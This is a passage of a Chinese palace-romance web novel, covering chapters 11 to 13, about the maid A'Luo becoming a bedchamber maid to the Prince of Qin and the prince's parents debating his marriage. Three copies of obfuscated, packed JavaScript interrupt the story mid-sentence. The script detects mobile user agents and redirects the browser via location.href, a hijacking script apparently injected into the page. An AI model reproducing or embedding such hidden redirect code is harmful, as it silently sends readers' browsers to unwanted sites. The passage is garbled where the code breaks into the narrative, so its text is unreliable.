消食宫女？散步还要人陪？苏陌安到底读书多些，对宫中之事也略有了解，他没听过消食宫女，却知皇子到了一定年纪都会安排宫女帮他通晓人事，说直白些，就是床上那点事。 晓事宫女就像民间的通房丫鬟，妾都算不上。 所以阿罗做的不是“消食宫女”，而是“晓事宫女”。 看她满足的笑容，想来还不知其中的错误。所以，该告诉她吗？她当初在青楼时差点被玷污，对此事一向厌恶。说了，她还会去吗？ 他看向正在床边为他铺床忙碌的人儿，一截腕子露在外，脖颈纤长，肌肤莹白，衬得这间小屋都亮堂了几分。 她其实长得很美，是那种很自然的美，如朝露，如川水，青青草叶儿的一点绿。 他曾想过，若有一日她能出宫，他便娶她为妻。她会是个勤俭持家、任劳任怨相夫教子的好女人。 这样的人，他喜欢，想来同为男人的秦王也会喜欢。 有朝一日若她得了秦王宠爱，枕头风一吹，他还愁无官可做吗？那些嫌他寒碜的狗官，届时也会点头哈腰跟在身后，求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240739|197721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不计当年龃龉…… 她可真是他的贵人啊。 “恭喜。”他微微一笑，脸部线条柔软下来，舀了碗鱼汤继续喝，“十七年前，官家为秦王的降生改元景隆，足以见得三位皇子里秦王最得帝后宠爱。若能讨他欢心，赏赐应会更多。阿罗，你要发财了。” 倘若官家废长立幼……他的阿罗终有一日会成为天子的女人，他的前程还有何可愁？ 这话过于大逆不道，不能宣之于口，但以后的事，谁又说得准呢？ “我不过一个卑微宫女，讨他欢心做什么？他不克扣我月钱我就很感激了。”阿罗不以为然，“我不求多，攒够银子便找机会出宫，做自己想做的事。” 苏陌安摇头笑她天真。伺候过皇子的女人，除非上头开恩，否则岂能随随便便放出宫？她这一辈子，怕是要埋没在深宫里了。 成，他跟着扶摇直上。 败，只叹他与她此生无缘，做不了夫妻。 男人活的糙，小小一口屋脏乱的很，阿罗废了老大的劲才收拾妥当。蹲着擦完最后一块方砖，阿罗扶着腰直起身，眼前景色焕然一新，窗明几净，比她初来时亮堂了不少。 碗筷摆在桌上，锃亮的碗底，一滴汤也不剩。阿罗有些饿了，可没什么现成的能吃。抬头瞧一眼天，西方橘黄一片，再不走就赶不回去了。 洗好碗筷，苏陌安陪着她往外走，来时大包袱小提溜，走时一身轻松，只剩个包袱皮拎在手中。 “陌安兄，那一贯钱里有五百文是给江阿婆的，今儿来不及了，辛苦你帮我送过去。” 初到长安时差点病死，是江阿婆出钱买药把她从鬼门关拖了回来。 苏陌安用鼻音“嗯”了声，没再说什么。 走回去，又要一个时辰，怕是来不及。阿罗寻思着问苏陌安要五个铜板雇辆车，不想有人上前打招呼，应是苏陌安结交的友人。见他忙，阿罗没再开口，加快步伐往宫城的方向走去。 天冷，肚子又饿，浑身发虚，人根本走不快，太阳也像是跟她作对一样，下落的速度比平时更快，眨眼就落下去一指。 走到半路，她实在是走不动了，停下来缓口气，寒风趁机灌入肺腑，刀割一样，呛得她咳嗽起来，憋红了脸。 怎么办，回去晚了，不会被逐回掖庭吧？不该洗那两个碗，更不该忙起来就忘了时间，苏陌安明明一直在院里看书，怎么就不提醒她呢？ 自责，懊悔，对即将丢掉差事的恐惧，所有情绪一瞬间压上来，她想哭，泪水已经在打转了，可她知道，哭不能解决问题，她要继续走，要跑起来，要赶在日落前迈进宫门…… “小娘子。”身后冷不丁响起声音，回头看，是今早见过的那个侍卫，他朝她往对街比手，“我家大人有急事想劳烦小娘子，若小娘子不介意，可上车边走边谈。”顿了顿，又道，“事关重大，大人也是走投无路才斗胆来寻小娘子相助，如有冒犯，望小娘子海涵。” 阿罗听得直皱眉，像他那样的大人物，竟也有“要事”需要她这个小奴婢相助？ 向对街望去，不远处，朱红马车前，那人抱臂靠着车厢，绯袍金冠，言笑晏晏，沐浴在一片落日暖阳中，朝她挥手。 11. 不愿 马鞭扬起，车架缓缓驶离。 车内，阿罗有些局促。她从湘西流离至长安，相距千里，也曾偶遇好心人搭载，牛车马车都坐过，但如此精致的马车却是头一回坐。 脚边有镂花的鎏金炭炉，身下是蜀锦茵褥，比婴儿的手还要软。内壁四角挂着银钩，金花狮子香球散发着雨后林间的清香，驱散本就没多少的炭火烟味。 她跟大人对坐，中间隔一张长条几，上头不见茶壶茶盏，反而摆着三色糕点，白的粉的绿的，她都不曾见过，但看起来就很好吃。 大约是目光在糕点上逗留的时间久了点，大人告诉她：“小娘子随意便是，想吃就吃。” 人家客气客气，岂能当真，阿罗直入主题：“不知大人找奴婢所为何事？若是奴婢能帮得上忙，定不会推拒。” 何事？何事啊？燕昼也不知何事。出城跑了一圈马，回城就见她杵在路边，一脸焦灼。要是不说有事劳烦，她肯上他的车吗？靠两条腿走回去，天都黑了，李尚宫不责罚她才怪！ 燕昼不自觉“嗯”了半天，装出一副难为情的样，“要不你先吃几口？你吃了我才好意思说。” 阿罗以为他真是“不好意思”，捏了块白团子，一咬，软糯的皮，细腻的枣泥，天下竟有这般好吃的食物。 燕昼细细观察她的神色，只见食物入口的瞬间，整张脸都明亮起来，有如晚霞照川水。 他就知道，透花糍肯定合她的胃口。 “想来也跟小娘子也见过三次面了，还不知如何称呼？” 阿罗咽下食物，“奴婢姓罗，没有名字，大家都叫我阿罗。” “阿罗……”燕昼咀嚼几遍，很亲昵的称呼，他不好乱叫，“那日后我叫你罗小娘子吧。” “大人随意便是。” 阿罗说完，车厢陷入安静，她等着燕昼开口说“要事”，燕昼则琢磨着“要事”是什么。幸好阿罗的视线始终盘桓在桌面，没有直勾勾盯着他的脸，否则他必然会尴尬到面红耳赤。 忽然，“咕噜咕噜咕噜”，连续三声响，清晰得很，阿罗瞬间涨红了脸，双手捂肚，“奴婢失礼。” 燕昼了然，“快到晚膳了，我也有些饿。” 冬日天黑的早，距离晚膳其实还有一个时辰。这个时候饿成这样，她中午应该没怎么吃。 有些话嘛，看破不说破，说出来除了让她更加尴尬外没有任何好处，不如撒个谎叫她好受些。 不过，观她神色，她好像是当真了？ 阿罗把糕点往他那边推了推，“大人先垫垫肚子吧。” “我不爱吃这个。”燕昼推窗喊了声“容福”。 马车渐渐停了，不一会儿，容福敲了敲车窗，递进来两只油纸包，燕昼分给她一包。 打开，滋滋冒油的烤肉切成小块，表面撒了一层胡椒与盐巴，混着切成方块的烤胡饼，一支竹签用以封口，拔出来，刚好可以插肉吃。 燕昼叼了一块肉入嘴，“吃吧。陪我吃。我不喜欢一个人用饭。” 那就恭敬不如从命了。 娇嫩多汁的烤肉，酥脆的烤饼，阿罗饿极，食物的美味扩大到极致。燕昼见她吃得开心，唇角也跟着扬起。 其实他不算饿，不紧不慢咬了两块，等阿罗吃完才开口问：“你说你被调去少阳院侍奉，有说做什么吗？” 少阳院人手更换，他不可能一点风吹草动都不知，唯一的可能是他被人刻意蒙在鼓里。要真是这样，容福未必能打听得到，不如直接问眼前这个知情者，顺便圆了自己的谎。 阿罗道：“这就是大人口中的‘要事’？” “啊对对，这就是。”燕昼心虚。 阿罗心想这有什么重要的，宫里随便拉个人都知道。 “说来惭愧，奴婢报名时只盯着月钱了，忘了看具体差事。” 看来给钱不少啊，燕昼更疑惑了。 “李尚宫说是去给秦王做消食宫女，大人可听过这个差？” 一句话，吓得燕昼魂飞魄散，手里的吃食也没拿住，撒了一地。 疑惑也没了，赶车的容福闻言差点没控制住缰绳，险些撞墙。 然而疑惑不会消失只会转移，阿罗看他活似被雷劈了似的，眉头拧成八字，“难道不是陪着秦王饭后散步消食的差吗？大人，您是不是知道些内情？” 燕昼心道，他可从没听过什么“消食宫女”，只知道皇子初次遗精后都会安排宫女近身伺候，是为“晓事宫女”。 他书读的一直不好，所以两年来一直用这个借口推辞，没想到躲得过初一躲不过十五，阿娘直接先斩后奏了！应该是阿娘在祖母那边顶不住了吧？ 也不知道自己现在是怎么个脸色，应该是不太好看，因为对面的小娘子人都快碎了。 “大人，您还好吗，您别吓奴婢啊……” 脑袋空空，燕昼也不知道自己怎么了。几个晓事宫女而已，不喜欢就撂在一边，好吃好喝供着，全当多了几个摆设，也没什么妨碍。 可就是，就是……他抓了抓脑袋，乱糟糟的，也不知道自己到底在纠结什么。 “说实话，我不太好。” 不想要又怎样，人都选好了，他据理力争推拒掉，置那些小娘子的脸面于何地？ 被秦王拒绝，原封不动退回原职，怕是会被人笑掉大牙！ 就拿眼前的小娘子来说，入少阳院，可以脱离掖庭那片苦海，她应该很不希望竹篮打水一场空吧？ 可要是他求阿爷开恩，把她们放出宫去，阿娘的面子也不好看。给皇子择选晓事宫女，是老祖宗传下来的规矩，阿娘身为皇后不得不做，哪怕是有名无实也无所谓，人摆在那儿就成。 在皇家，规矩比人大，谁也不能随心所欲。 左思右想，他就是那只被压在五指山底下的猴儿，翻不了身了。 要想恢复孑然一身，只能徐徐图之，做长久打算。 再看对面小娘子，一双眼，懵懵懂懂，恐怕还不知道自己要面对的是什么。 他缓了缓神，粗略想了个主意，“小娘子，如果这份差事可以让你衣食无忧，还可以有大把的时间读书习字，你愿意做吗？” 阿罗先是不可置信，而后眼底渐渐浮起喜色，“愿意啊，怎么能不愿意呢？这差事真有这么好么？每月十两银，真的什么都不用做吗？” “其实还是要做一点的，比如……”他有些难以启齿。 “比如什么？” “比如侍奉秦王起居。” “没问题啊，端茶倒水奴婢都会。” “不是这个，”在阿罗看不到的耳后，皮肤烫出红晕，喉咙都快干了，燕昼想了又想，才挑了个比较委婉的说法，“是要……做男女之间做的事。” 阿罗彻底困惑了，“什么事？” 燕昼懵了，她是晓事宫女，这种事，难道不应该是她比他知道的多吗？ 豁出去了，“就是一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕昼闻言抬眼看去，小娘子的眼眶微红，浑身透着一股子劫后余生的庆幸，可见刚刚那一番话显然都是肺腑之言，半点没掺假。 有心逗逗她，“不怕我骗你？万一你进了少阳院，发现秦王就是个见色起意的小人又该如何？想找我算账都找不着。” “您不会骗奴婢的。”阿罗仰脸一笑。 “这么肯定？” 阿罗反问：“那您会骗奴婢吗？” “不会。”不必思考的答案，下意识就说了，说完燕昼才反应过来自己是不是回答的过于快了，扶额道，“你诈我。” 阿罗忙不迭叉手告饶：“大人恕罪。” 车厢一瞬安静，橘黄的光线透进来，将不大的空间填满。不知谁先笑了，扑哧一声，很轻很轻，就像冬日清晨的初阳，薄薄一层，温煦。 但很快他们就笑不出来了。 马车突然停靠，不再向前。 容福前去探路，隔着车壁禀报道：“主子，有金吾卫封路，所有车辆一律不得前行，估摸着一两个时辰走不了了。” 太阳已经半数没入地平线下，再等一两个时辰，宫门都要下钥了。 阿罗的心猛地一坠。 出宫前，李尚宫三令五申，若是敢夜不归宿，直接逐出宫去，没得商量。 12. 专情 前方，一辆满载柴薪的牛车断了车轴，牛受惊，撞翻了临街的馎饦摊子，锅里烧开的热汤掀翻在一个稚童身上，其父拉着摊主要求赔钱，摊主拉着牛车主人要个说法，牛车主人委地痛哭，说他一个卖柴的，哪里去凑那么多钱。 受惊的牛被金吾卫制服，柴薪滚落一地，过不去车，看热闹的百姓更是将路堵的水泄不通。 燕昼推开车门四处望了望，坊市之间巷道四通八达，许多车辆纷纷向右绕路而行，他朝容福扬了扬下巴，“跟上。” 日头落得很快，光晕渐收。车厢里陷入昏暗，模糊了眉眼，阿罗两手紧紧攥着衣角，懊悔煎熬着心，怎么忙起来就忘了时辰回宫呢？这下好了，差事保不住，还要被逐出宫。她身无分文，又该如何安身呢？ 巷道极窄，仅容一辆车子通行，容福赶着车汇入排队的队伍，慢吞吞前挪。燕昼推开半扇窗，招手喊来一个值守的金吾卫。 金吾卫不认得燕昼，但从车马形制来看，不像普通人家的贵公子，于是保险起见称呼道：“大人有何吩咐？” 燕昼扔给他一只荷包，鼓囊囊。 “找个大夫，先给孩子瞧伤。” 当爹的只顾着要赔偿，谁都忘了还有个烫伤的小儿要疗伤。 金吾卫顿感敬佩：“大人在何处任职？待明日卑职上吏部为您颂德去。” 大雍不兴做好事不留名，反而鼓励好事留痕，以便鼓励更多人路见不平拔刀相助。官员做了好事，去吏部存个档，名曰“颂德”，好事做多了也有助于升官。哪怕是宫中皇子也可借机招揽民心，为自己增势。 燕昼却摆了摆手，“举手之劳，不必麻烦。” 说罢，关上窗，靠着厢壁闭目养神。 阿罗看着他，浅浅一线天光照亮他的脸，高眉骨，挺鼻梁，线条利落自带锋芒，腔子里却生了一副柔软心肠。 顺着窄巷绕了一圈，再次回到朱雀大街，马儿四蹄轮的飞快，扬起一地飞尘。可即便如此，入宫门后，天还是黑透了。 马车停在掖庭门前，阿罗勉强提起一抹笑，跟燕昼告别。 “多谢大人捎奴婢一程，奴婢想了一路，好像也没有什么拿得出手的东西可以回报大人。” 燕昼隔窗吩咐了容福几句，容福先行离开，他才转身道：“是我有要事要问，这才请小娘子上车，小娘子回报我做甚？” 阿罗无奈道：“大人说过不骗奴婢的。” 起先她还真以为他是有什么难事要拜托她，稀里糊涂上了车，可没想到“难事”就是宫中众人皆知的消息，她要迟钝到何种地步才会以为他是真的“有事相求”啊。 “啊，被看穿了。”燕昼单指挠了挠眉心，“我也不缺什么，要不小娘子先欠着吧，以后机会还多，总有报答的时候，不必急于一时。” 怕是没机会再见面了。阿罗心想。他还不知道她马上就要被赶出宫了吧。没来由的，想到以后再也见不到他，还有点失落。 车外，哒哒脚步声传来，“奴婢怀安见过大人！” 怀安朝着车厢行了个礼，事先得了容福叮嘱，没有戳破燕昼的身份。 燕昼对阿罗道：“去吧，让怀安陪你回尚宫局。” * 再度稀里糊涂地下了车，怀安引着她往拾阶而上，步入掖庭深门。回头看，朱红马车未动，那身绯色衣袍颜色不减，在昏黄灯火下鲜艳明亮。 他朝她挥挥手，算是送别。 阿罗屈膝行了一礼，加快脚步跟上，脑袋乱糟糟的，总觉得哪里不太对。穿过掖庭进入内宫，还没等她想明白，尚宫局的朱漆大门已近在咫尺。 李尚宫领着两个婢女候在门前，手握戒尺，面色不善，心里不由打了个突。然而就在一下瞬，她眼睁睁看着李尚宫由怒转惊，那神情，活似瞧见太阳打西边出来，下巴都快掉地上了。 光顾着看李尚宫，阿罗没注意到怀安何时退到了身后。怀安朝着李尚宫挤眉弄眼加摇头，李尚宫一头雾水，比手叫他借一步说话。 不知道他们说了些什么，阿罗只知道，说完以后，李尚宫看她的眼神又变了，仿佛她是什么稀罕物。 “事出有因，这次就不罚你了，快回去吧，一会儿叫人把晚饭给你送屋里去。” 意外之喜，压在心上的巨石忽地碎成齑粉，飘走了。阿罗还是诚心告了罪，承诺“下次绝不再犯”。 等到坐上床，火炉烤着手脚，丝丝暖意将她从僵硬中释放出来，那被冻僵掉的脑子才逐渐苏醒。 不是消食宫女，而是晓事宫女。大人说秦王不会强迫她，但事已至此，强不强迫还有区别吗？名分已定，她今后再也无法出宫了。 慢慢蜷起身子，侧躺在床，火光刺得眼睛泛出泪花，手指牵住枕巾一角。 阿罗啊阿罗，一时不慎，你是把自己给卖了啊。 晚膳渐渐凉透，伴着呼啸的寒风，她迷迷糊糊睡去。 睡意朦胧间，新的疑问浮现。 怀安是谁？大人行走在前朝，为何会与宫中内侍相熟？李尚宫何许人也，皇后殿下的左膀右臂，孙友德都不敢得罪的人。她为什么会相信怀安的话，又或者说，相信指使怀安的那个人？ 大人，他到底是谁？ * “王爷，办妥了。”怀安笑呵呵回禀。 燕昼闭目靠着车壁，车帘在脸上拓出一片暗影，面上惯常带着的微笑也无影无踪。 “都打听清楚了？” “清楚了，共四人。前头有位尚寝局的小娘子，名朝蕊，中选后不知何故浑身起满红疹，被退了回去，罗小娘子是后头递补的。” 没想到还有这番波折，燕昼揉了揉发胀的太阳穴，“叫容禄去查这四人，定要赶在她们进少阳院前查清楚。做隐蔽些，别叫官家与皇后知道。” 怀安应下，“王爷，咱们回去……抄书？” 为着作弊那事，官家罚他抄写五遍《尚书》，他连一遍都还没写完，眼看着再有十日就要上交，怀安替他急。 想到抄书，燕昼头更痛了，“先回去，我换身衣裳，然后去给阿娘请安。” * 含凉殿。 池舒然跟燕昴对坐，在灯下对弈。 有青衣宫女来报，说是秦王求见。 李尚宫前脚刚走，秦王后脚就来，所为何事，不言而喻。 燕昴抿嘴憋笑，“快，你儿子来讨说法了。” 连续三年，燕昼都拒绝给他安排晓事宫女，这次被先斩后奏，他心里头肯定不痛快。 毕竟没把他说的话当回事啊，这事是他们做爷娘的理亏。 池舒然心头一怵，对宫女道：“就说我还在沐浴，叫他去偏殿等。” “慢着。”燕昴叫住宫女，“躲得过初一躲不过十五，你能拖到什么时候？” 池舒然看着被逼到绝路上的黑子，捂了捂额头，“上辈子造了什么孽生了这么个冤家。” 老大早慧，从小就稳，十二三岁上就已经进退有度，再不需要爷娘操心，甚至还能帮爷娘分忧，真真是个贴心的宝贝。 至于老二，算是个一板一眼的小君子，天天泡在书堆里，出口成章，论遍天下无敌手，十岁上就把他阿爷辩得哑口无言，从此见他张嘴就害怕，但总体来讲，也是个听话的好孩子。 唯独这个老三，天生的犟骨头，认定的东西哪怕天王老子来了也甭想让他改变主意。要是有一天你发现他乖乖就范了，那一定不是他“改邪归正”，而是阳奉阴违暗度陈仓去了。 滑不溜秋，鬼点子比谁都多，十七岁了还不叫人省心。 池舒然一拍桌，点下最后一颗黑子，拿出壮士断腕的勇气道：“叫他进来！十七了，连个媳妇儿也找不到，添几个小娘子伺候他，是为他好，我这个当娘的还有错不成？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240741|197721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 几息的功夫，影子一晃，燕昼换了件暗红色圆领袍朝着爷娘拱手，“儿子见过阿爷阿娘。” 燕昴好整以暇打算看戏，刚端起茶盏，就眼睁睁看着池舒然，风一般刮到燕昼身边，踮脚摸摸他的脸骨，“好儿子，瘦了。难怪你阿爷心疼你，非叫我添几个可心的人儿去伺候。你们爷俩好好聊，阿娘头有些晕，先睡了昂！” 燕昼：“……” 燕昴：“……” 霎时间宫殿一下子空旷起来，池舒然带人撤了个干干净净。棋盘上，黑子绝路逢生，呈包围之势，反杀白子。 燕昴抽了抽嘴角，燕昼抱着手不说话。打小这个孩子就这样，受委屈了又或是不满意了，总能叫人束手投降，把他想要的东西奉上去。 憋了半天，燕昴才挤出一个字：“坐。” 燕昼在池舒然的位置落座。 燕昴灌了口茶，“你怎么想的，先说说。” “儿子明白阿娘的苦衷。” “少来这一套。”燕昴哼了声，“还叫不上来你。说说，又憋着什么坏主意？” 燕昼委屈，“在您眼里儿子我就这么不懂事吗？” 燕昴扔给他一个“这还用说”的眼神，“懂事怎么不好好把书给读会了？哪个皇子像你一样，三次了还考不过。” 燕昼：“……阿爷，伤心事儿咱就别提了成吗？” 燕昴摸摸胡髭，“太后的意思，你也老大不小了，身边总不能缺了女人伺候。要是不合心意，叫李尚宫再挑好的给你。” 燕昼沉默了，没说话。少顷，他起身，跪地叩头，把燕昴吓了一跳，连忙去扶，却压根扶不动。 “阿爷，儿子前来，是想为那四人求个恩典。待明年阿爷过寿，允她们出宫可好？” 皇家的女人，哪怕是有名无实，但凡只要占了个名头，这辈子就出不去了。 可凡事总有例外，官家开恩放归，她们仍是好人家的女郎，也会因为与皇家沾亲带故而叫别人高看一眼。 自由婚嫁，找个好夫婿，总比耗死在他身边强。 燕昴傻了眼，“你这是不打算叫她们伺候？” “儿子三年前就说了，这辈子娶王妃一人足矣，就像二哥那样。” 燕昴戳他心窝：“你二哥二嫂那是青梅竹马，你有吗？” 燕昼：“……” 燕昴继续戳：“从小到大，长安城的女郎你也见过不少，可有心仪的？” 燕昼沉默。 “你想一生一世一双人，问题是你能成双吗？” 燕昼想找个地洞钻下去。 “弱水三千只取一瓢饮，你总得先遇上这一瓢。毕竟不是谁都像你阿爷我一样幸运，刚好在适婚的年纪遇上你阿娘。” 燕昴自我感觉良好，故作深沉微叹一声，总结道：“感情都是处出来的，你不跟小娘子接触，岂会知道喜欢哪款？别告诉我你好男风，抽不死你。” 燕昼：“……儿子没有，儿子不会，阿爷把心放肚子里就是。可儿子还是那句话，儿子此生只要王妃一人，绝不叫其他人夹在中间膈应。恳请阿爷准了儿子所求，莫要耽误她们四人前程。” 没想到是这个理由，燕昴愣了片刻，重重叹了口气。 前两天他还调侃老三像他，是个专情的种子。只是没想到，老三比他更绝，毕竟在遇到池舒然之前，他也是有过几个宫女伺候的。老三呢，人还没遇见，就先主动守身如玉起来。 怎么像个小娘子似的。 然而话说回来，两情相悦，中间夹着其他人，确实膈应，这一点他深有感触。 终是心软，“你先起来，要是时机合适，阿爷自会考虑。” 燕昼高高兴兴谢了恩，燕昴忽然想起李尚宫今晚禀报的事，情场老狐狸敏锐的嗅觉叫他觉出些不对劲。 “话说，你跟那个罗小娘子是怎么回事？” 13. 羞人 内寝，除夕夜宴需要宴请的命妇名录翻看在手，池舒然不时瞟眼门帘，忽见霜白棉帘鼓起个包，燕昴走进来，她惊喜道：“人走了？没闹吧？” 燕昴解开衣领，“没闹。一说是太后的意思，立马就点头了。哎呀不容易啊，孩子大了，知道心疼娘了，” “真的？”池舒然将信将疑，凭老三的性子，别是有什么别的小算盘。 燕昴再三保证不会闹妖蛾子，池舒然才安了心，放下名册走过去为他更衣，“那个罗小娘子怎么回事？你可问了？” “问了，说是在宫中偶然见过一次，今日街上再见，眼看她要误了回宫的时辰，这才顺路捎了一程。”说起来就气，燕昴哼哼，“这臭小子还反过来教训他老子，说不要什么都往男女之情上想。你说说，是我想多了吗？” 池舒然焉能不知丈夫的意思。 儿子什么样，爹娘还能不清楚？他要是个处处留情的多情种，谁会眼巴巴儿去问是不是对罗小娘子有意思。 犹记得他十三岁那年，太子岳家的老祖宗过八十大寿，太子捎了他去，唇红齿白的小郎君，又是天潢贵胄，刚露面就俘获了一众长安城贵女的芳心，挨个儿上前与他见礼。 太子事前得了爷娘嘱托，故意把他撂在那里不管，就想看看一日下来能不能遇上个看对眼的小娘子。 结果呢，那木头，找了根鱼竿摘去鱼钩，跑到湖边学姜太公钓鱼去了。 更叫人绝望的是，四大世家之首的郑家嫡长姑娘，陪他枯坐一下午，结果第二日人家来宫里找他玩，他张口就是“郑小娘子是谁”？ 见了面，仍是摇头说不认识，直到郑小娘子憋红了脸，说“我就是那个陪你钓了一下午鱼的人”，他才稍稍有了点印象，张口又是一句，“原来你是在陪我钓鱼？我以为你在赏景。” 最后生生把人家给气走了。 气走就气走了，他也不去哄，还理直气壮说：“一声不吭坐在那儿，我哪儿知道她要做甚？何况她坐在那儿吓跑了我的鱼，我好几次要请她走，都没好意思开口仗势欺人，我还没气，她又气什么？” 陪坐一下午的小娘子没记住脸，宫中偶遇的浣衣婢却能入了他的眼，还主动出手相帮。 燕昴一针见血：“不怕小儿不开窍，就怕开窍不知道啊。咱们为人父母，多少也要提点一二，我儿子可不能步了慕容鋆的老路。” 慕容鋆就是因为开窍不自知与池舒然失之交臂，事后悔恨至今未娶，可那又能挽回什么？前车之鉴就摆在那儿，燕昴可不能叫自己的亲儿子走到这一步。 池舒然迟疑看他一眼，“老三随你，未必会走到那一步。左右人在他那儿，先处处看吧，咱们也别着急下定论。倒是那个郑小娘子，太后这两日总提起她，我听着像是有意指给老三做正妃。” 前些日刚把长安城中适龄的女郎查了一遍，燕昴岂会不知这位郑居棱郑小娘子。 “十六岁，倒是与老三相配，出身样貌也是一等一，只可惜生在郑家。” 两人挨着床沿坐下，池舒然眉心打褶，“谁说不是。郑崔池李，四大世家。老大聘了崔氏长女，老二聘了李三娘，要是老三迎娶郑小娘子，我就怕老大忌惮，兄弟离心啊……” 大雍开国百年，世家之间盘根错节，势力日渐强大，谁都想往宫里钉个人，以续家族百年荣耀。四大世家唯有郑家不曾与皇家联姻，郑家不愿委屈女儿做妾，瞄准秦王妃之位也在意料之中。 “哎，要是早几年把老三的婚事定下来就好了……”池舒然气得一拳捶上褥子。 燕昴去握她的手，烛火照不进的眼睛深幽如潭，“儿子的婚事自然要由你这个亲娘定夺，太后那边先拖着，别着急应。” “我都晓得，装傻充愣谁不会？一两次还行，就怕次数多了惹太后不高兴。”池舒然仍在担忧，“你说，咱俩是不是宠老三宠得太过了？郑家别是看老三得宠才动了心思吧？老大会不会多想？” 燕昴说哪有，“老大小时候我还当马给他骑呢，老三有这待遇吗？”他两手扶肩把池舒然扳正，“阿然，莫要多心。他们兄弟三人，一母同胞，同气连枝，世上再没有比他们之间更亲近的人。何况老三跟老大相差十岁，都道是长兄如父，老三也算是老大亲手带大，老三什么脾气他能不清楚？老大贵为储君，手段、气量、学识、胆魄都无可挑剔。阿然，你要对咱们亲手养大的孩子有信心，也要对咱们亲自选出的太子有信心。” 想想也是，老大比他阿爷还成熟，御下手段更是多样，怎么可能轻易被流言蜚语伤了兄弟情分。 高悬一日的心稍稍回落，“但愿是我多心了。” * 尚宫局。 没有催人点卯的铜锣，没有嬷嬷刺耳的训斥，阿罗在一片寂静中醒来，揉揉眼，浅浅一线天光将窗纸涂抹成鸦青色，稍稍定神褪去睡意，她直起身，拥着棉花寝被发了会儿呆。 这样平静的早晨，还真有点不太习惯。 今明两日安排了课业，少阳院与掖庭不同，做秦王的奴婢与做浣衣婢也不同，要学新规矩，还要学习怎么伺候秦王。 洗漱穿衣，藕荷色交领夹棉小袄，针脚细腻密不透风，下头是月白色棉裙，裙摆绣着小花，通身素净，是专门给她们四人准备的。 远离了干不完的脏累活计，衣裳也跟着鲜亮起来。 有得必有失，这样的日子，比她在民间摸爬滚打、在掖庭压抑度日要好多了，不自由是不自由，但好歹能吃饱饭穿好衣不是？ 阿罗对着铜镜牵起唇角，阳光晴好，照出毛绒绒光影，晒得皮肤发烫。 这是活着的感觉。 真好。 既来之则安之，失去的，便忘了吧。 她在心里对自己说。 推门，寒气扑面，身上却暖，阿罗迈步往饭厅去，忽地一盆热水泼在脚边，丝丝冒着白气。 “咦？这儿原来还站着个人啊？实在是对不住，困着呢，没看清。” 应该是无心的，阿罗心平气和道了句“无妨”。腹饿，也不知尚宫局的早膳与掖庭有何不同，晚膳的丰盛令她对早膳很是期待。抬步继续走。 “呵。”方才那人冷笑了声，“真是会装。” 语气不善的很明显了，阿罗停住脚步，转头看去，那人身量高挑，眉眼张扬，额边的碎发都是卷翘朝天的。 所以她刚刚……是故意泼她水的？阿罗有些拿不准，毕竟两人第一次见面，自问好像也没有招惹她吧？ “看什么看？原来是个只会瞪眼的小哑巴啊。”那人抱着臂，唇角勾起，从上而下俯视过来。 毫无意义的口角之争除了引来嬷嬷外毫无利处，不论谁对谁错都要受罚，阿罗不敢想象自己被罚回掖庭的场景，照旧决定省下这一口热气，拔步往饭厅走。 身后传来怒骂：“你敢无视我？你一个掖庭浣衣婢敢无视我！” 看，她不气，来气人的却要气到发疯了。 “花瓷姐！”另一道颇为活泼的声音追来，“花瓷姐快收拾收拾，第一堂早课迟到就不好啦！” 脚步声逐渐靠近，“你叫阿罗吧？”梳着双鬟髻的姑娘跑来抱住她的胳膊，她生得丰腴，小臂赶得上阿罗的两倍，“我叫银杏，原来在尚食局供职。刚刚那个是尹花瓷，尚功局针线上的。被退回去的尚寝局宫女朝蕊是她的好友，你顶了朝蕊的位，看样子她是迁怒你了。” 小姑娘嘴叭叭的，没个停，阿罗被她泼天的热情弄得浑身不自在，想把胳膊抽出来，奈何她抱得紧，“还有个姐姐叫覃秋月，十八岁，尚仪局的，名儿好听吧？她可厉害了，择选排名第一，父亲还是做官儿的，虽然只是个九品芝麻官吧，但多少跟咱们不一样。我听李尚宫的意思，是要抬举她呢。” 阿罗多多少少被吊起来些兴趣，“好好的官员之女为何会入宫为婢？” 像李尚宫那样做到正五品尚宫也算是令人仰慕，可这位秋月姑娘弃了尚仪局的前程转来做秦王的婢女，那就很让人郁闷了。 “还能为什么？”银杏眨眨两只大眼，“她多年前远远见过秦王一面，从此心生爱慕，非君不嫁！哎——”她莫名其妙叹口气，“真羡慕她啊，求仁得仁，能跟心上人朝夕相伴。” 说话的功夫已至饭厅，有人到的更早，一碗澄黄米粥还剩半碗，小口小口啜饮。 见她们来，女子放下碗，碗底磕在桌面，没发出一点响。取帕蘸了蘸嘴角，红唇微弯，漾出一抹笑，真真如月光般温婉。 “我吃好了，两位妹妹慢用。” 覃秋月踱步远去，银杏从那柳条似的细腰上收回视线，发自内心感叹：“你说为什么会有人喝一碗粥就能饱呢？太可怕了。” 